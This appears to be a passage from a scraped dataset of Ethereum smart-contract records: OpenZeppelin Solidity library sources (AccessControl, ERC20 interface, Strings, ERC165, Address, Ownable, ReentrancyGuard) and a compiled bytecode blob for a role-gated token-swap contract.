*/ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b50600436106102e95760003560e01c80637f17c83211610191578063d547741f116100e3578063e9655b5b11610097578063f5b541a611610071578063f5b541a614610689578063f91a983c146106b0578063fddbe5f7146106c357600080fd5b8063e9655b5b14610664578063ede93e9a1461066d578063f51e181a1461068057600080fd5b8063dc7ea39f116100c8578063dc7ea39f14610621578063ddca3f4314610634578063df668eca1461063d57600080fd5b8063d547741f146105fb578063d79e85671461060e57600080fd5b8063a19c7bd811610145578063a4fb0a581161011f578063a4fb0a58146105cc578063b2237ba3146105df578063c96c2581146105f257600080fd5b8063a19c7bd81461058a578063a2011b3f1461059d578063a217fddf146105c457600080fd5b80639052be61116101765780639052be611461051357806391d14854146105335780639b4faa801461057757600080fd5b80637f17c832146104e05780638358cdf7146104f357600080fd5b80633cec75491161024a57806355b8fb81116101fe57806370ea2479116101d857806370ea2479146104bb57806371ca337d146104ce5780637e6fd3e3146104d757600080fd5b806355b8fb81146104755780636828c6ec1461048857806369fe0e2d146104a857600080fd5b806340945f151161022f57806340945f151461043c57806349c710291461044f5780634ce223fe1461046257600080fd5b80633cec7549146104095780633edc35191461042957600080fd5b806329dcb0cf116102a157806331449c7d1161028657806331449c7d146103bc57806334ddb95d146103cf57806336568abe146103f657600080fd5b806329dcb0cf1461039e5780632f2ff15d146103a757600080fd5b806321655484116102d2578063216554841461032d578063248a9ca31461033657806327daf4f81461035957600080fd5b806301ffc9a7146102ee57806310f2211a14610316575b600080fd5b6103016102fc366004611dd0565b6106d6565b60405190151581526020015b60405180910390f35b61031f600b5481565b60405190815260200161030d565b61031f60115481565b61031f610344366004611e12565b60009081526020819052604090206001015490565b6003546103799073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200161030d565b61031f60125481565b6103ba6103b5366004611e54565b61076f565b005b6103ba6103ca366004611f4b565b61079a565b61031f7f0db189261133fd7647d3308512b693b47bed44004cac80fb59aa64b63a231e2c81565b6103ba610404366004611e54565b610cc6565b6001546103799073ffffffffffffffffffffffffffffffffffffffff1681565b6103ba610437366004611e12565b610d79565b6103ba61044a366004611e12565b610e16565b6103ba61045d366004611e12565b610eb3565b610379610470366004611e12565b610f50565b6103ba6104833660046120d8565b610f87565b6002546103799073ffffffffffffffffffffffffffffffffffffffff1681565b6103ba6104b6366004611e12565b6110cd565b6103ba6104c9366004611e12565b61116a565b61031f600c5481565b61031f600d5481565b61031f6104ee366004611e12565b611207565b6004546103799073ffffffffffffffffffffffffffffffffffffffff1681565b6005546103799073ffffffffffffffffffffffffffffffffffffffff1681565b610301610541366004611e54565b60009182526020828152604080842073ffffffffffffffffffffffffffffffffffffffff93909316845291905290205460ff1690565b61031f610585366004611e12565b611334565b610379610598366004611e12565b611372565b61031f7f61c92169ef077349011ff0b1383c894d86c5f0b41d986366b58a6cf31e93beda81565b61031f600081565b61031f6105da366004612114565b611382565b6103ba6105ed366004611e12565b611458565b61031f600f5481565b6103ba610609366004611e54565b6114f5565b6103ba61061c366004612140565b61151b565b6103ba61062f366004611e12565b6115f6565b61031f600e5481565b61031f7f724f6a44d576143e18c60911798b2b15551ca96bd8f7cb7524b8fa36253a26d881565b61031f600a5481565b61031f61067b366004611e12565b6117f5565b61031f60105481565b61031f7f97667070c54ef182b0f5858b034beac1b6f3089aa2d3188bb1e8929f4fa9b92981565b6103796106be366004611e12565b6118f6565b6103796106d1366004611e12565b611906565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f7965db0b00000000000000000000000000000000000000000000000000000000148061076957507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b60008281526020819052604090206001015461078b8133611b59565b6107958383611c29565b505050565b3360009081527fee57cd81e84075558e8fcc182a1f4393f91fc97f963a136e66b7f949a62f319f602052604090205460ff16610837576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f43616c6c6572206973206e6f742061206f70657261746f72000000000000000060448201526064015b60405180910390fd5b600154604080517f2eb9771b000000000000000000000000000000000000000000000000000000008152905160009273ffffffffffffffffffffffffffffffffffffffff1691632eb9771b916004808301926020929190829003018186803b1580156108a257600080fd5b505afa1580156108b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108da919061216a565b90506000811180156108ed575060105481105b610953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f636f6c6c61746572616c20726174696f206973206e6f742076616c6964000000604482015260640161082e565b600061096482858760200151611382565b9050600083838460105461097891906121b2565b61098290856121c9565b61098c9190612206565b6109969190612241565b905060006109a3826117f5565b6005546012546040517f38ed173900000000000000000000000000000000000000000000000000000000815292935060009273ffffffffffffffffffffffffffffffffffffffff909216916338ed173991610a09918791879160069130916004016122af565b600060405180830381600087803b158015610a2357600080fd5b505af1158015610a37573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052610a7d91908101906122f8565b905060008160018351610a9091906121b2565b81518110610aa057610aa0612389565b60200260200101519050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166354f9769d86838c600001518d602001518e604001518f608001516040518763ffffffff1660e01b8152600401610b1f9695949392919061242e565b600060405180830381600087803b158015610b3957600080fd5b505af1158015610b4d573d6000803e3d6000fd5b50506005546012546040517f8803dbee0000000000000000000000000000000000000000000000000000000081526000945073ffffffffffffffffffffffffffffffffffffffff9092169250638803dbee91610bd59189917fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff916008913091906004016122af565b600060405180830381600087803b158015610bef57600080fd5b505af1158015610c03573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052610c4991908101906122f8565b905060008160018351610c5c91906121b2565b81518110610c6c57610c6c612389565b602090810291909101810151604080518a8152928301869052820181905291507f070aa035fe0a09f0d9305bdc2d7a5d93cd4733db3b1ff869b4a7033c9501909a9060600160405180910390a15050505050505050505050565b73ffffffffffffffffffffffffffffffffffffffff81163314610d6b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201527f20726f6c657320666f722073656c660000000000000000000000000000000000606482015260840161082e565b610d758282611d19565b5050565b3360009081527f637999432676374d4ea036a5e1ac845bfb5900b653d4393f12108092e01503ce602052604090205460ff16610e11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f43616c6c6572206973206e6f7420612073657474657200000000000000000000604482015260640161082e565b601055565b3360009081527f637999432676374d4ea036a5e1ac845bfb5900b653d4393f12108092e01503ce602052604090205460ff16610eae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f43616c6c6572206973206e6f7420612073657474657200000000000000000000604482015260640161082e565b600d55565b3360009081527f637999432676374d4ea036a5e1ac845bfb5900b653d4393f12108092e01503ce602052604090205460ff16610f4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f43616c6c6572206973206e6f7420612073657474657200000000000000000000604482015260640161082e565b600a55565b60098181548110610f6057600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b3360009081527f86478efbeb8bbab7a7555c56aa6ccb47dce5f91a755e3fa27d39e665871a7b98602052604090205460ff1661101f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f43616c6c6572206973206e6f7420612074727573747900000000000000000000604482015260640161082e565b6040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff83811660048301526024820183905284169063a9059cbb90604401602060405180830381600087803b15801561108f57600080fd5b505af11580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c791906124d2565b50505050565b3360009081527f637999432676374d4ea036a5e1ac845bfb5900b653d4393f12108092e01503ce602052604090205460ff16611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f43616c6c6572206973206e6f7420612073657474657200000000000000000000604482015260640161082e565b600e55565b3360009081527f637999432676374d4ea036a5e1ac845bfb5900b653d4393f12108092e01503ce602052604090205460ff16611202576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f43616c6c6572206973206e6f7420612073657474657200000000000000000000604482015260640161082e565b600f55565b600080600c54600b5461121a91906121b2565b600c5461122790856121c9565b6112319190612206565b6005546040517fd06ca61f00000000000000000000000000000000000000000000000000000000815291925060009173ffffffffffffffffffffffffffffffffffffffff9091169063d06ca61f906112909085906007906004016124f4565b60006040518083038186803b1580156112a857600080fd5b505afa1580156112bc573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261130291908101906122f8565b9050806001825161131391906121b2565b8151811061132357611323612389565b602002602001015192505050919050565b600080601154600e54600f5461134a91906121b2565b61135491906121c9565b600f5461136190856121c9565b61136b9190612206565b9392505050565b60088181548110610f6057600080fd5b600a5460009081905b801561144f576010546000906113a188886121c9565b6113ab9190612206565b905060006113b982886121b2565b905060006113c6826117f5565b905060006011546010546113da91906121c9565b6113e489846121c9565b6113ee9190612206565b905060008a60105461140091906121b2565b61140a838d6121c9565b6114149190612206565b90506114208188612241565b965061142c8185612241565b611436908b6121b2565b99506114436001876121b2565b9550505050505061138b565b50949350505050565b3360009081527f637999432676374d4ea036a5e1ac845bfb5900b653d4393f12108092e01503ce602052604090205460ff166114f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f43616c6c6572206973206e6f7420612073657474657200000000000000000000604482015260640161082e565b600c55565b6000828152602081905260409020600101546115118133611b59565b6107958383611d19565b3360009081527f86478efbeb8bbab7a7555c56aa6ccb47dce5f91a755e3fa27d39e665871a7b98602052604090205460ff166115b3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f43616c6c6572206973206e6f7420612074727573747900000000000000000000604482015260640161082e565b60405173ffffffffffffffffffffffffffffffffffffffff83169082156108fc029083906000818181858888f19350505050158015610795573d6000803e3d6000fd5b3360009081527f1434e22f2be9824816071176aaaa536b6ce41eb98bbf8aa040b833ea4e79fb0c602052604090205460ff1661168e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f43616c6c6572206973206e6f7420612073776170706572000000000000000000604482015260640161082e565b600061169982611334565b6002546040517f23b872dd0000000000000000000000000000000000000000000000000000000081523360048201523060248201526044810183905291925073ffffffffffffffffffffffffffffffffffffffff16906323b872dd90606401602060405180830381600087803b15801561171257600080fd5b505af1158015611726573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174a91906124d2565b506001546040517fa9059cbb0000000000000000000000000000000000000000000000000000000081523360048201526024810184905273ffffffffffffffffffffffffffffffffffffffff9091169063a9059cbb90604401602060405180830381600087803b1580156117bd57600080fd5b505af11580156117d1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079591906124d2565b6005546040517fd06ca61f000000000000000000000000000000000000000000000000000000008152600091829173ffffffffffffffffffffffffffffffffffffffff9091169063d06ca61f906118539086906006906004016124f4565b60006040518083038186803b15801561186b57600080fd5b505afa15801561187f573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526118c591908101906122f8565b905080600182516118d691906121b2565b815181106118e6576118e6612389565b6020026020010151915050919050565b60068181548110610f6057600080fd5b60078181548110610f6057600080fd5b606060006119258360026121c9565b611930906002612241565b67ffffffffffffffff81111561194857611948611e80565b6040519080825280601f01601f191660200182016040528015611972576020820181803683370190505b5090507f3000000000000000000000000000000000000000000000000000000000000000816000815181106119a9576119a9612389565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611a0c57611a0c612389565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506000611a488460026121c9565b611a53906001612241565b90505b6001811115611af0577f303132333435363738396162636465660000000000000000000000000000000085600f1660108110611a9457611a94612389565b1a60f81b828281518110611aaa57611aaa612389565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060049490941c93611ae981612515565b9050611a56565b50831561136b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e74604482015260640161082e565b60008281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff16610d7557611baf8173ffffffffffffffffffffffffffffffffffffffff166014611916565b611bba836020611916565b604051602001611bcb92919061254a565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152908290527f08c379a000000000000000000000000000000000000000000000000000000000825261082e916004016125cb565b60008281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff16610d755760008281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff85168452909152902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055611cbb3390565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60008281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff1615610d755760008281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516808552925280832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b600060208284031215611de257600080fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461136b57600080fd5b600060208284031215611e2457600080fd5b5035919050565b803573ffffffffffffffffffffffffffffffffffffffff81168114611e4f57600080fd5b919050565b60008060408385031215611e6757600080fd5b82359150611e7760208401611e2b565b90509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405160a0810167ffffffffffffffff81118282101715611ed257611ed2611e80565b60405290565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff81118282101715611f1f57611f1f611e80565b604052919050565b600067ffffffffffffffff821115611f4157611f41611e80565b5060051b60200190565b600080600060608486031215611f6057600080fd5b833567ffffffffffffffff80821115611f7857600080fd5b9085019060a08288031215611f8c57600080fd5b611f94611eaf565b82358152602080840135818301526040840135604083015260608401356060830152608084013583811115611fc857600080fd5b80850194505088601f850112611fdd57600080fd5b8335611ff0611feb82611f27565b611ed8565b81815260059190911b8501820190828101908b83111561200f57600080fd5b8387015b838110156120b95780358781111561202b5760008081fd5b8801603f81018e1361203d5760008081fd5b858101358881111561205157612051611e80565b612081877fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f84011601611ed8565b8181528f60408385010111156120975760008081fd5b8160408401898301376000918101880191909152845250918401918401612013565b5060808501525091999088013598506040909701359695505050505050565b6000806000606084860312156120ed57600080fd5b6120f684611e2b565b925061210460208501611e2b565b9150604084013590509250925092565b60008060006060848603121561212957600080fd5b505081359360208301359350604090920135919050565b6000806040838503121561215357600080fd5b61215c83611e2b565b946020939093013593505050565b60006020828403121561217c57600080fd5b5051919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000828210156121c4576121c4612183565b500390565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561220157612201612183565b500290565b60008261223c577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000821982111561225457612254612183565b500190565b6000815480845260208085019450836000528060002060005b838110156122a457815473ffffffffffffffffffffffffffffffffffffffff1687529582019560019182019101612272565b509495945050505050565b85815284602082015260a0604082015260006122ce60a0830186612259565b73ffffffffffffffffffffffffffffffffffffffff94909416606083015250608001529392505050565b6000602080838503121561230b57600080fd5b825167ffffffffffffffff81111561232257600080fd5b8301601f8101851361233357600080fd5b8051612341611feb82611f27565b81815260059190911b8201830190838101908783111561236057600080fd5b928401925b8284101561237e57835182529284019290840190612365565b979650505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60005b838110156123d35781810151838201526020016123bb565b838111156110c75750506000910152565b600081518084526123fc8160208601602086016123b8565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b600060c082018883526020888185015287604085015286606085015285608085015260c060a085015281855180845260e08601915060e08160051b870101935082870160005b828110156124c0577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff208887030184526124ae8683516123e4565b95509284019290840190600101612474565b50939c9b505050505050505050505050565b6000602082840312156124e457600080fd5b8151801515811461136b57600080fd5b82815260406020820152600061250d6040830184612259565b949350505050565b60008161252457612524612183565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000008152600083516125828160178501602088016123b8565b7f206973206d697373696e6720726f6c652000000000000000000000000000000060179184019182015283516125bf8160288401602088016123b8565b01602801949350505050565b60208152600061136b60208301846123e456fea26469706673582212202586c314b32562031b0c68e05269543818142a1cdef23d1f949eda5d0d7b188564736f6c63430008090033
[ 16, 4, 5 ]
0xf1c22c1b77a84505569b3015fdea66ec5692520b
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the 